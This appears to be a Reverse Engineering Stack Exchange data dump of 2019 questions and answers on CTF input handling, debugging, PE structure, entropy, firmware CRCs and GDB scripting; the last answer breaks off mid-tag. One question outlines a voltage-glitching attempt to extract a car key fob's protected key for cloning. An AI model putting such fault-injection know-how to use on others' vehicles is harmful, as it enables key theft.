  <row Id="22793" PostTypeId="1" AcceptedAnswerId="22794" CreationDate="2019-12-20T20:48:14.310" Score="1" ViewCount="223" Body="&lt;p&gt;I am working on a CTF where I need to pass an address as input to a program. This address contains the value 0x09 (the tab character). This is causing me problems, because it seems that bash is interpreting the tab before it is input to the actual program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Say I have a simple bash script:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env bash&#xA;&#xA;echo $1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would then like to pass e.g. &quot;1&quot;+&quot;\x09&quot;+&quot;2&quot; and have the output from the program be: &quot;1\x092&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the tab character moves the &quot;2&quot; to the second argument and it is then not echoed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently if I do&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./script.sh $(python -c 'print &quot;1&quot;+&quot;\x09&quot;+&quot;2&quot;')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It just echos &quot;1&quot;. Is there a way to keep the three characters tied together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="30146" LastActivityDate="2020-01-20T10:48:22.093" Title="How to input ascii control character into program?" Tags="|linux|python|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22794" PostTypeId="2" ParentId="22793" CreationDate="2019-12-20T21:42:42.130" Score="1" Body="&lt;p&gt;You just need to wrap the input in quotation marks. Like so: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./script.sh &quot;$(python -c 'print &quot;1&quot;+&quot;\x09&quot;+&quot;2&quot;')&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="30146" LastActivityDate="2019-12-20T21:42:42.130" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22795" PostTypeId="2" ParentId="22793" CreationDate="2019-12-20T22:10:18.230" Score="2" Body="&lt;p&gt;You're solution doesn't take into account the tab character. It gets interpreted as a space. See here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ch3rn0byl@ch3rn0byl:~$ ./scripts.sh &quot;$(python -c 'print &quot;1&quot; + &quot;\x09&quot; + &quot;2&quot;')&quot; | hexdump -C&#xA;00000000  31 20 32 0a                                       |1 2.|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you modify your script, you can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;&#xA;a=$1&#xA;a+='\x09'&#xA;a+=$2&#xA;&#xA;echo -ne $a&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way you can modify it or whatever. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ch3rn0byl@ch3rn0byl:~$ ./scripts.sh 1 2 | hexdump -C&#xA;00000000  31 09 32                                          |1.2|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyhow, ignore if this wasn't what you were going for. Have fun!&lt;/p&gt;&#xA;" OwnerUserId="29798" LastActivityDate="2019-12-20T22:10:18.230" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22796" PostTypeId="1" AcceptedAnswerId="22799" CreationDate="2019-12-21T00:37:39.240" Score="2" ViewCount="124" Body="&lt;p&gt;I'm new to reverse enginnering and currently following Lena's tutorials. I wanted to put my new skills to use and wanted to reverse a simple game: &lt;a href=&quot;https://github.com/Zolomon/labyrinth&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Zolomon/labyrinth&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I'm stuck somewhere in ntdll. How do I get out of that? It's after the game as been instantiated then everything stops working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping I would be stuck in the game loop and from there I was hoping to capture in-game movements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is a picture where I've put breakpoints right before the game window is created. &lt;a href=&quot;https://i.stack.imgur.com/TCeMO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TCeMO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2fmAI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2fmAI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26902" LastEditorUserId="26902" LastEditDate="2019-12-21T00:45:15.820" LastActivityDate="2019-12-21T17:15:14.013" Title="Stuck at ntdll when trying to enter a game loop" Tags="|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22797" PostTypeId="1" CreationDate="2019-12-21T02:44:22.637" Score="2" ViewCount="185" Body="&lt;p&gt;I am trying to read the cryptographic key from my car key fob for exploration, basically seeing if I can clone it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I popped open the case and I see it's using a Microchip HCS361. The HCS361 stores it's key in internal EEPROM that cannot be read during normal operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the datasheet says that &quot;&lt;em&gt;At the end of the programming cycle, the device can be verified by reading back the EEPROM&lt;/em&gt;&quot;. The mentioned programming cycle is just writing the EEPROM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was thinking that maybe it is possible to perform a voltage glitching attack on the chip to make it think that it has just been programmed so that EEPROM can be read.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The feasibility of this clearly depends on how the read protection is implemented on the chip. I would think that it would be basically a check if a certain bit is set in a register but I'm not sure. If this is the case, it should theoretically be possible to bypass that instruction via glitching.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the following diagram for how to perform the verification, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/voihO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/voihO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote a small Arduino sketch that does the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. Set S1 and S3 to high&#xA;2. Perform the glitch&#xA;3. Clock S3 and read from DATA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and retries with different glitch times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the time, I get the expected PWM data on the &lt;code&gt;DATA&lt;/code&gt; line that is transmitted on a button press. However, as the glitches get longer, I get more and more 0's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this method even remotely feasible or should I just program the chip and relearn it to my car?&lt;/p&gt;&#xA;" OwnerUserId="28279" LastActivityDate="2019-12-21T02:44:22.637" Title="Voltage Glitching to Read Internal EEPROM" Tags="|hardware|embedded|copy-protection|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22798" PostTypeId="1" CreationDate="2019-12-21T11:21:25.837" Score="2" ViewCount="1207" Body="&lt;p&gt;Do you know an instrument equivalent to Intel Pin (&lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&lt;/a&gt;) for AMD processors, which helps me especially for reverse of whitebox (&lt;a href=&quot;https://insinuator.net/2016/03/how-to-crack-a-white-box-without-much-effort/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://insinuator.net/2016/03/how-to-crack-a-white-box-without-much-effort/&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="24041" LastActivityDate="2019-12-21T11:21:25.837" Title="Do you know the equivalent of the Intel Pin utility for AMD processors" Tags="|instrumentation|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22799" PostTypeId="2" ParentId="22796" CreationDate="2019-12-21T17:15:14.013" Score="1" Body="&lt;p&gt;You can see the main module by going to &quot;View -&gt; Executable Modules&quot; and selecting it instead of &quot;ntdll&quot;.&lt;/p&gt;&#xA;" OwnerUserId="27837" LastActivityDate="2019-12-21T17:15:14.013" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22802" PostTypeId="2" ParentId="22588" CreationDate="2019-12-22T11:09:28.640" Score="5" Body="&lt;p&gt;Good news! In Cutter v1.10 (December 20, 2019) the team &lt;a href=&quot;https://twitter.com/r2gui/status/1208106040954359808&quot; rel=&quot;nofollow noreferrer&quot;&gt;introduced&lt;/a&gt; native and remote debugger support. By default, the STDIO of the debuggee is redirected to the Console Widget inside Cutter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Downloading the latest release&lt;/strong&gt;&lt;br&gt;&#xA;To download the recent version of Cutter you can go to the &lt;a href=&quot;https://cutter.re&quot; rel=&quot;nofollow noreferrer&quot;&gt;official website&lt;/a&gt; and click on the Download button. It will automatically detect your OS and give you the right file to download.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Debugging&lt;/strong&gt;&lt;br&gt;&#xA;Open Cutter and choose a file to analyze. On the following dialog configure the settings as you wish, you can leave it as-it for the defaults.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the interface of Cutter you can start debugging by &lt;strong&gt;either&lt;/strong&gt; of the following ways:  &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;F9&lt;/kbd&gt; to execute native debug  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click the green button at the top of the interface to start Debug&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Gq6lZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Gq6lZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click on the &quot;Debug&quot; menu and choose Start Debug&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/G7kEz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/G7kEz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Then, click Play and the program will run. On Linux, you will see the STDIO in the Console Widget (open it from Windows -&gt; Console). You can interact with it and send it input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8ilEr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ilEr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2019-12-22T12:19:12.380" LastActivityDate="2019-12-22T12:19:12.380" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22803" PostTypeId="1" CreationDate="2019-12-22T12:00:41.117" Score="2" ViewCount="1276" Body="&lt;p&gt;If file-based malware sample can be downloaded from sites such as theZoo aka Malware DB or any sites as suggested &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/206/where-can-i-as-an-individual-get-malware-samples-to-analyze&quot;&gt;here,&lt;/a&gt; what about fileless malware as it doesn't store it's copy in the hard disk?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is not the right site to ask, please let me know.&lt;/p&gt;&#xA;" OwnerUserId="24522" LastActivityDate="2020-12-09T14:44:51.663" Title="Fileless malware samples" Tags="|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22804" PostTypeId="1" CreationDate="2019-12-22T17:18:19.013" Score="1" ViewCount="84" Body="&lt;p&gt;Ok so I am total noob here. I wanted to play with the bin from an instrument cluster I work on a lot. I was able to pull the bin off the MCU with a J-link. If I erase the chip and flash it with a bin from it or another cluster it works but if I change anything in the bin it won't work.. Don't worry I am not messing with the Odo value thats stored on an EEprom and easy to change lol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Learned a little about bin patching via youtube/google and ran the bin through binwalk. doing  that binwalk says &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Decimal: 211720  HEX:0x33b08 Description: crc32.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm guessing this CRC not matching is making it fail to boot. If I look at the bin with HxD I don't see anything that matches what Binwalk is saying but I am probably looking at it wrong. Where do I find the CRC in this bin from what address is this crc checking because if I use HxD or online CRC generators It doesnt match anything in the bin also...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am sure I am not describing this all correctly I am still learning and climbing mt. stupid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I want to do is change some of the error messages to say something funny. I am just doing this for the novelty and to learn something new.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Linked Github with the bin, &lt;a href=&quot;https://github.com/garnerm91/07-14-GM-cluster-BINs&quot; rel=&quot;nofollow noreferrer&quot;&gt;Github link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW all edits I make are one for one changes so I am not shifting anything around in the bin. The attached is unedited and works. &lt;/p&gt;&#xA;" OwnerUserId="30543" LastEditorUserId="30210" LastEditDate="2019-12-26T11:15:49.763" LastActivityDate="2019-12-26T11:15:49.763" Title="Bin patching Arm7tdmi CRC32?" Tags="|arm|crc|binary-editing|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22805" PostTypeId="1" AcceptedAnswerId="22806" CreationDate="2019-12-23T02:19:47.637" Score="3" ViewCount="269" Body="&lt;p&gt;I'm new to reverse engineering and I have started to study the anatomy of specific file formats, specifically PE right now. I really enjoy learning the different parts of the files and the different flags. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was just wondering, what are practical uses of this in the work force of reverse engineering?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know they probably serve some purpose but I am really new to this field and I was wondering when you employed this knowledge before. &lt;/p&gt;&#xA;" OwnerUserId="30432" LastActivityDate="2019-12-23T07:27:37.787" Title="Importance of learning file structures for reverse engineering?" Tags="|binary-analysis|elf|pe|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22806" PostTypeId="2" ParentId="22805" CreationDate="2019-12-23T07:22:21.350" Score="3" Body="&lt;p&gt;Although this question is a bit broad, I feel that I can provide an acceptable answer by at least explaining some ways that I've used file format structures in reversing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, a reverse engineer &quot;in the workforce&quot; always has some goal. For example, a malware analyst working at an antivirus company may analyze a sample to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Learn how the same works&lt;/li&gt;&#xA;&lt;li&gt;Learn novel techniques that it used to defeat the antivirus system&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Reverse engineering is simply learning about how a given system works. A file format is part of this system, and as such, simply learning about how the file format works, what its magic value is, what type of data is stored there, what the header consists of, and so on are all part of the reverse engineering process for some projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One project that I worked on involved learning how the PE format header of some files differed from the PE format header of other files. In doing this, I needed to find out why the Windows operating system would properly load certain PE files, and would refuse to load other PE files, based on some data modifications in the PE file headers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This project was not open source, so I cannot go into too much detail, but I can tell you that people who want to prevent reverse engineering will use tools/algorithms called &quot;packers&quot; and &quot;software protectors&quot; and one component of these tools is that they will obstruct, corrupt, or otherwise mutate the data in the PE header on disk. One example of why someone would do this is because the PE header has a list of all external libraries and functions which will be called by the executable. This list is called &lt;code&gt;IMAGE_IMPORT_DESCRIPTOR&lt;/code&gt; for each DLL such as kernel32.dll and ntdll.dll which has a list of &lt;code&gt;IMAGE_IMPORT_BY_NAME&lt;/code&gt; (can also be ordinal imports) which lists out all of the functions to be used by the executable. An easy way to learn about how a program works is to simply view this list of imports because if a program will use networking, there will be networking imports, if it uses cryptography, there will be crypto imports, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to prevent this, software packers and protectors will often destroy this table on-disk and then rebuild it dynamically after the program is run. In order to effectively analyze the program, reverse engineers often have to dump the program after it is loaded in memory and rebuild the tables with a tool like ImpRec. Having a solid understanding of the PE file format makes this task possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case of my aforementioned project, I needed to find out when a bit was set in a header member, why the OS would treat the file differently than if that bit was cleared. This involved learning the file format, then using WinDbg as a kernel debugger to find out why &lt;code&gt;NtCreateProcess&lt;/code&gt; would not load certain files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example 2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had a file parser that I needed to test for security vulnerabilities. One of the parser's main jobs is to read the file format header data structures, interpret them, and then act upon that data. Think of what happens when Adobe Photoshop opens up a JPEG file, for example. For this task, I had to study the documentation for the file format to better understand what those data structures did, then I wrote a custom fuzzing tool to inject arbitrary malformed data into the headers in an attempt to exploit the parser application.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2019-12-23T07:27:37.787" LastActivityDate="2019-12-23T07:27:37.787" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22807" PostTypeId="2" ParentId="19971" CreationDate="2019-12-23T07:32:12.867" Score="1" Body="&lt;p&gt;In addition to Nirlzr's answer, you can go to the function Imports window in the debugger (IDA, OllyDbg and x64Dbg for example), and set a breakpoint on the functions you are curious about. Then, simply run the program and the debugger will stop the execution of the program at the time each function is called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you want to see when a program calls CreateProcessInternalW, you can go into the function import table (sometimes called &quot;symbols&quot;) and set breakpoints on the function listed there. Now, when a program creates a new process, the debugger will break execution at that point so you can see the arguments passed and return value. For convenience, I've attached a screenshot of this in IDA Pro - pay attention to the right side of the screen where I have the function list of &lt;code&gt;apphelp.dll&lt;/code&gt; which I got to by finding it in the &quot;Modules&quot; window and then double-clicking the DLL file name. Now we can right-click on a specific function like I've shown and click &quot;Add Breakpoint&quot;, then run the program. This is only available in the IDA Debugger once the debugger has been started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOTE: Sometimes the imports are not fully resolved at the beginning of the program, so as you continue through the program, more of these functions will become available to break on.&lt;a href=&quot;https://i.stack.imgur.com/FFItk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FFItk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18507" LastEditorUserId="18507" LastEditDate="2019-12-23T07:38:02.603" LastActivityDate="2019-12-23T07:38:02.603" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22808" PostTypeId="1" CreationDate="2019-12-23T07:35:29.587" Score="1" ViewCount="389" Body="&lt;p&gt;I'm playing around with &lt;code&gt;binwalk -E&lt;/code&gt; and am just looking at some entropy graphs as I try to reverse engineer some CTF binaries. I kinda understand the use of data/information entropy in cryptography (it's often used to help determine what cipher/encryption is used) but I haven't read or heard anything about entropy in analysis of program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does entropy really mean in reverse engineering? What does it say about a program? How can it be used?&lt;/p&gt;&#xA;" OwnerUserId="30044" LastActivityDate="2019-12-23T07:45:33.243" Title="What does entropy mean and how can it be used?" Tags="|entropy|" AnswerCount="1" CommentCount="1" ClosedDate="2019-12-24T14:01:28.377" ContentLicense="CC BY-SA 4.0" />
  <row Id="22809" PostTypeId="2" ParentId="22808" CreationDate="2019-12-23T07:45:33.243" Score="1" Body="&lt;p&gt;Entropy is a measurement of the appearance of &quot;randomness&quot; of bytes. For example, if you were to take the entropy of the text content of this post, and then take the entropy of a SHA-512 hash or RSA ciphertext, you will see a dramatic increase in the hash and RSA ciphertext over the plaintext content of this post. There are known entropy levels for plaintext English, for instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How it can be used in reverse engineering&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One useful function of entropy is to determine areas of ciphertext or other encryption outputs in a program. A concrete example would be to take a &quot;packed&quot; or compressed malware sample, and compare the entropy levels to a non-packed or non-compressed program. The packed malware sample will have entropy levels that are much higher. One useful application of this would be to simply write a script which batch-scans files and takes entropy readings, in order to identify files that have large areas of packed/compressed/encrypted data. These files will have higher entropy readings. A malware analyst will sometimes take an entropy reading of a file in an initial cursory analysis to determine if the file is packed or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switching gears, if you wanted to pack or compress data in your own program, you could write your packing code, then compare the entropy of the output data with the entropy of the uncompressed data to see how much &quot;randomness&quot; you've introduced.&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2019-12-23T07:45:33.243" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22810" PostTypeId="1" CreationDate="2019-12-23T09:17:13.770" Score="1" ViewCount="101" Body="&lt;p&gt;In order to learn about disassembly and code something like Capstone disassembler, HDE etc. for a function , calculate opcodes etc , Please advise on what I should know. I have some knowledge of Assembly language (NASM) and C, But what do I have to study to learn disassembly and design something like that?&lt;/p&gt;&#xA;" OwnerUserId="30551" LastActivityDate="2019-12-23T09:17:13.770" Title="Learning Intel Disassembler, What to learn for Intel XED" Tags="|disassembly|intel|" AnswerCount="0" CommentCount="0" ClosedDate="2019-12-30T20:35:56.127" ContentLicense="CC BY-SA 4.0" />
  <row Id="22812" PostTypeId="1" AcceptedAnswerId="22814" CreationDate="2019-12-23T12:03:46.240" Score="1" ViewCount="68" Body="&lt;p&gt;I am so newbie about this matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a file XXXX.record file that contains a data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I open the file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zfRHY.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zfRHY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I read this data and modify the values? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KY8WZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KY8WZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="30555" LastEditorUserId="30555" LastEditDate="2019-12-24T14:10:59.350" LastActivityDate="2019-12-24T14:10:59.350" Title="I want to modify the data" Tags="|debugging|hex|" AnswerCount="1" CommentCount="1" ClosedDate="2019-12-24T20:34:49.110" ContentLicense="CC BY-SA 4.0" />
  <row Id="22813" PostTypeId="1" CreationDate="2019-12-23T12:11:32.123" Score="8" ViewCount="1123" Body="&lt;p&gt;I have been doing a number of CTF activities when I came across something I’m unfamiliar with. As I am somewhat new to exploitation and reverse engineering, this was unfamiliar to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 7 pieces of an ELF binary file. I’ve been using readelf to get a better idea of where to put each piece. But I’m still unable to glean the order except for piece 4 contains the header and piece 6 contains the section names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve been using ‘cat’ to glue the pieces together then run them through readelf and gdb. Is there an easier way that I’m just missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For reference the particular example can be found on &lt;a href=&quot;https://0x0539.net/play/fangorn/fragmented&quot; rel=&quot;noreferrer&quot;&gt;0x0539.net -&gt; Fangorn Forest -&gt; Fragmented&lt;/a&gt;. I don’t want the answer. What I’m looking for is someone to point me in the right direction. &lt;/p&gt;&#xA;" OwnerUserId="30554" LastEditorUserId="25660" LastEditDate="2019-12-24T20:27:59.607" LastActivityDate="2020-03-19T16:36:57.827" Title="Reassembling ELF binary files" Tags="|elf|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22814" PostTypeId="2" ParentId="22812" CreationDate="2019-12-23T13:36:53.797" Score="3" Body="&lt;p&gt;The first line of your file contains device information - it seems you are reading &lt;a href=&quot;http://www.phoenixtm.com/en/products/data-loggers/&quot; rel=&quot;nofollow noreferrer&quot;&gt;HT DataLogger&lt;/a&gt;'s data. From the quick glance, I conclude, this device measures temperature.&lt;/p&gt;&#xA;&lt;p&gt;Subsequent data looks like an &lt;em&gt;array of floats&lt;/em&gt; - one can deduce it from &lt;code&gt;41&lt;/code&gt;'s and &lt;code&gt;42&lt;/code&gt;'s in each &lt;code&gt;4&lt;/code&gt;-byte block (&amp;quot;reasonable&amp;quot; float numbers usually start with them when written in hex).&lt;/p&gt;&#xA;&lt;p&gt;To read the data, just take any &lt;code&gt;4&lt;/code&gt;-byte, block starting with an address divisible by &lt;code&gt;4&lt;/code&gt; and use &lt;a href=&quot;https://www.binaryconvert.com/result_float.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this site&lt;/a&gt;. However, as you may notice, the order of bytes in each &lt;code&gt;4&lt;/code&gt;-byte block has to be different than just &amp;quot;left to right&amp;quot;, that is, so-called &lt;em&gt;big endian&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Knowing that each number has to start with either &lt;code&gt;41&lt;/code&gt; or &lt;code&gt;42&lt;/code&gt; (otherwise resulting numbers would be too high or too low to reflect the temperature), you can conclude that, in  fact, number &lt;code&gt;ABCD&lt;/code&gt; really means &lt;code&gt;BADC&lt;/code&gt;, so it's &lt;em&gt;little endian&lt;/em&gt; encoding with respect to each &lt;code&gt;2&lt;/code&gt; bytes.&lt;/p&gt;&#xA;&lt;p&gt;For example, if you want to decode &lt;code&gt;01 41 33 33&lt;/code&gt;, you want to convert the number &lt;code&gt;41 01 33 33&lt;/code&gt; to decimal format (that is ~&lt;code&gt;8.075&lt;/code&gt; Celcius degrees).&lt;/p&gt;&#xA;&lt;p&gt;Modifying data is rather straightforward - hex editors provide very easy way to do it; just highlight relevant bytes and start typing.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; it is also possible (and more likely) that the numbers are stored in &lt;em&gt;little endian&lt;/em&gt; encoding, assuming that the first one begins at address &lt;code&gt;0012h&lt;/code&gt;. In such a case, &lt;code&gt;0x421&lt;/code&gt; (&lt;code&gt;21 04 00 00&lt;/code&gt;) is probably the size of the float array.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-12-23T14:32:56.273" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22815" PostTypeId="2" ParentId="19971" CreationDate="2019-12-23T14:03:31.277" Score="3" Body="&lt;p&gt;Although you can use several tools, I would suggest you to use GDB if possible, since it has a built-in feature of breaking at each function call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, what you can do, is to run your program two times - first, without pressing buttons, and second, with doing so. I'm attatching a python script that will print each function call with a number of calls to it, to the file named &lt;em&gt;output&lt;/em&gt;. Feel free to use it for your purposes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python3&#xA;import gdb&#xA;import re&#xA;&#xA;breakpoints = []&#xA;gdb.execute('rbreak', to_string=True)&#xA;gdb.execute('run', to_string=True)&#xA;try:&#xA;    while True:&#xA;        a = gdb.execute('continue', to_string=True)&#xA;        reg = gdb.execute('info registers rip', to_string=True)&#xA;        b = reg.split()[1][2:]&#xA;        f = reg.split()[3]&#xA;        c = gdb.execute('info breakpoints', to_string=True).split('\n')&#xA;        d = [s for s in c if b in s]&#xA;        if len(d) &amp;gt; 1:&#xA;            sys.exit(1)&#xA;        e = d[0].split()[0].split('.')[0]&#xA;        gdb.execute('disable breakpoints ' + e)&#xA;        breakpoints.append(e)&#xA;        breakpoints.append(f)&#xA;except:&#xA;    f = open(&quot;output&quot;, &quot;w+&quot;)&#xA;    [f.write(b + '\n') for b in breakpoints]&#xA;    f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can invoke it by running &lt;code&gt;gdb name_of_your_program&lt;/code&gt; and then &lt;code&gt;source gdb.py&lt;/code&gt; assuming that the script name is &lt;em&gt;gdb.py&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After doing this two times, you will get two files: one containing all function calls, while not pressing buttons, and the other one containing function calls when buttons are being pressed. Simply running &lt;code&gt;diff&lt;/code&gt; on this files will reveal which functions are responsible for button press handling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for some reason you cannot use GDB, &lt;a 